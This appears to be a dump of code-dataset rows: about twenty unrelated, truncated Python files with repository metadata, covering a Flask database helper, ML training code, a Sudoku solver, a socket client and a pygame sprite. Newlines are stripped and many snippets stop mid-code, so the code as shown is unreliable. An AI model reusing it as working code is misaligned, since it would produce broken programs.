33833694339
from db.dbconnect import connection from flask import jsonify def querydb(data, operation, check=None, user2flower_id=None): try: c, conn = connection() if c == {'msg': 'Circuit breaker is open, reconnection in porgress'}: return c, 500 if operation == 'POST': exec...
markocrnic/user2flower
app/db/dbquery.py
dbquery.py
py
2,656
python
en
code
0
github-code
6
15159066053
import tensorflow as tf import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' #https://www.tensorflow.org/versions/r1.12/api_docs/python/tf/ones a= tf.ones((4,3)) b = tf.ones((2,3)) with tf.Session(): result = a.eval() rb = b.eval() tf.assert_negative (a) print(result,rb )
sofiathefirst/AIcode
04TensorflowAPI/ones.py
ones.py
py
281
python
en
code
0
github-code
6
31331765759
import torch from game import DataGenArena from torch.autograd import Variable from torch.utils.data import DataLoader import os # criterion = torch.nn.SmoothL1Loss() # optimizer = torch.optim.SGD(model.parameters(), lr=0.001) class AITrainer: # TODO: concurrent usage of self.model and player.network makes me n...
messej/dots_and_boxes
game/ai_trainer.py
ai_trainer.py
py
3,391
python
en
code
null
github-code
6
74212739388
import sqlite3 def create_table(): sqlstr = "create table user (sid int(5) primary key, \ name varchar(10), email varchar(25))" conn.execute(sqlstr) print("create table successfully") conn.close() def initiate_table(): cur = conn.cursor() sqlstr1 = ...
lhqiao/python_project
kaohexinagmu/main.py
main.py
py
2,235
python
en
code
0
github-code
6
7874968494
""" Yonan Abraha Lab 5 """ def main(): #encodedWord = "WBLARF8TTS" #encodedWord = "L8KAOUL" #encodedWord = "E8N8N8" #encodedWord = "8TRA8DY T8LA" #encodedWord = "8TT LHA TILLTA LIMAS" #encodedWord = "LHA GRAAN FIATD GTA8MS IN LHA W8RM SUNEABMS" encodedWord = "TONG T8E T8CKS L8SLY L8CO LIMA 8L TA8SL T8LATY...
yonanma/CIS121
lab_5.py
lab_5.py
py
1,361
python
en
code
0
github-code
6
15207383827
""" https://www.algoexpert.io/questions/common-characters """ def commonCharacters(strings): # Write your code here. result = [] first = strings.pop(0) size = len(strings) for char in first: count = 0 for arr in strings: if char not in arr: ...
koizo/algoexpert
strings/common_characters.py
common_characters.py
py
478
python
en
code
0
github-code
6
29482823780
import raw_read import subprocess as sp from matplotlib import pyplot import numpy as np from files import * from sklearn.metrics import mean_squared_error [arrs1,plots]=raw_read.rawread('output/rawfile.raw') # time stime = arrs1[0] res_out = arrs1[1:-1] x=res_out.T temp = np.linalg.pinv(x) vref=np.load("...
embeddedsky/ExplainableMRC
Plot_file.py
Plot_file.py
py
1,665
python
en
code
0
github-code
6
29800628522
from django.urls import path from cart.views import cart_add, cart_remove, cart_details, cart_clear, cart_update urlpatterns = [ path('cart_details/', cart_details, name='cart_details'), path('cart_add/', cart_add, name='cart_add'), path('cart_update/', cart_update, name='cart_update'), path('cart_rem...
Aliaksei-Hrazhynski/DP
cart/urls.py
urls.py
py
420
python
en
code
0
github-code
6
10424789791
#-*- coding: utf-8 -*- u""" .. moduleauthor:: Martí Congost <marti.congost@whads.com> """ import cherrypy from cocktail.pkgutils import resolve from woost.controllers.basecmscontroller import BaseCMSController from woost.extensions.payments.paymentgateway import PaymentGateway class PaymentRootController(BaseCMSCont...
marticongost/woost
woost/extensions/payments/paymentrootcontroller.py
paymentrootcontroller.py
py
1,224
python
en
code
0
github-code
6
30063385074
import veri import logs class uartClass(logs.driverClass): def __init__(self,Path,Monitors,rxd='rxd',txd='txd'): logs.driverClass.__init__(self,Path,Monitors) self.rxd = rxd self.txd = txd self.baudRate = 100*32 self.txQueue = [] self.txWaiting=0 self.rxSt...
greenblat/vlsistuff
verification_libs3/uartClass.py
uartClass.py
py
5,084
python
en
code
41
github-code
6
19109871856
#!/usr/bin/env python3 # # graph timing from timing file import sys import pylab import numpy import matplotlib.pyplot as plot from argparse import ArgumentParser from collections import defaultdict time_xlabel="Time in seconds" bytes_ylabel="GB processed" def parse_pair(line): h = line[11:13] m = line[14:16...
NPS-DEEP/big_data_test
be_cluster/doc/plot_dots.py
plot_dots.py
py
1,844
python
en
code
1
github-code
6
15191375755
from collections import defaultdict, deque class Solution: def isBipartite(self, graph: List[List[int]]) -> bool: color = defaultdict(int) seen = set() q = deque() for node1 in range(len(graph)): if node1 in seen: continue color[node1] = 1 ...
Dumbris/leetcode
medium/785.is-graph-bipartite.py
785.is-graph-bipartite.py
py
1,085
python
en
code
0
github-code
6
2706181917
import rhino_unwrapper.meshUtils.meshLoad as meshLoad import rhino_unwrapper.meshUtils.mesh as mesh import rhino_unwrapper.cutSelection.userCuts as userCuts import rhino_unwrapper.cutSelection.autoCuts as autoCuts import rhino_unwrapper.weight_functions as weight_functions import rhino_unwrapper.unfold as unfold import...
jlopezbi/rhinoUnfolder
prototype_cutAndUnfold.py
prototype_cutAndUnfold.py
py
1,170
python
en
code
8
github-code
6
41675036380
# 스도쿠 # # 스도쿠를 돌면서 빈자리(-1)를 탐색한다 # 빈자리에 1~9 를 넣어보고 가능하다면 재귀함수를 호출한다. # 만약 가능한 케이스가 발견되면 즉시 함수를 종료한다. # 열쇠 -> test 함수에서 순회할 때 빈자리에 뭐가 들어갈 수 있는지 업데이트해서 재검사를 방지한다. from copy import deepcopy # row,col에 새로운 값이 들어왔을 때, 가능한지 검사하는 함수 def test(s: list[list[int]], row: int, col: int) -> bool: # row 검사 cnt = 0 num...
jisupark123/Python-Coding-Test
DFS/2580.py
2580.py
py
4,495
python
ko
code
1
github-code
6
17763725801
#1)list using Array import sys def getListDetails(l): #size = sys.getsizeof(l) #capacity = (size of list - size of empty list) // (size of one block) #size of empty list maens total number of bits for empty list capacity = (sys.getsizeof(l)-64)//8 left_size = ((sys.getsizeof(l)-64)-len(l)*8)//8 ...
aparna0/competitive-programs
7Algo and Datastructures/1linear DS/3.linklinst.py
3.linklinst.py
py
7,108
python
en
code
0
github-code
6
39023255902
import pandas as pd from objects_API.StrainJ import StrainJson from objects_API.BacteriumJ import BacteriumJson from objects_API.BacteriophageJ import BacteriophageJson from objects_API.CoupleJ import CoupleJson from configuration.configuration_api import ConfigurationAPI from rest_client.AuthenticationRest import A...
diogo1790/inphinity
CorrectLevelLysis.py
CorrectLevelLysis.py
py
5,366
python
en
code
0
github-code
6
40920994409
from datetime import datetime from models.library_item import LibraryItem from models.rent import Rent from models.user import User from services.handlers.rent_handlers.apply_discount_handler import ApplyDiscountHandler from services.handlers.rent_handlers.calculate_fine_price_handler import ( CalculateFinePriceHa...
Ari100telll/LibrarySDD
services/library_manager/library_manager.py
library_manager.py
py
3,424
python
en
code
0
github-code
6
70941800508
# a simple client socket import socket # define socket address TCP_IP = 'pip install request' # ip of the server we want to connect to TCP_PORT = 5000 # port used for communicating with the server # create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print ("Socket created successfully.") ...
DiegoPython/CS50-NASA-Vending-Machine
Python/testsocket.py
testsocket.py
py
554
python
en
code
1
github-code
6
29848209236
import pygame from random import randint class Enemy(pygame.sprite.Sprite): def __init__(self, x, y, level): super().__init__() self.image_list = [] self.level = level self.frame = 0 for index in range(10): image_name = 'Pic\\Enemy' + str(level) + '\\...
Karnpitcha-kasemsirinavin/The_Lost_Duck
Enemy.py
Enemy.py
py
2,176
python
en
code
0
github-code
6
24698018564
import numpy as np import torch from torch.utils.data import Dataset import constants as C def _get_existing_group(gb, i): try: group_df = gb.get_group(i) except KeyError: group_df = None return group_df def get_dist_matrix(struct_df): locs = struct_df[['x','y','z']].values n_atoms = len(locs) ...
robinniesert/kaggle-champs
moldataset.py
moldataset.py
py
7,217
python
en
code
48
github-code
6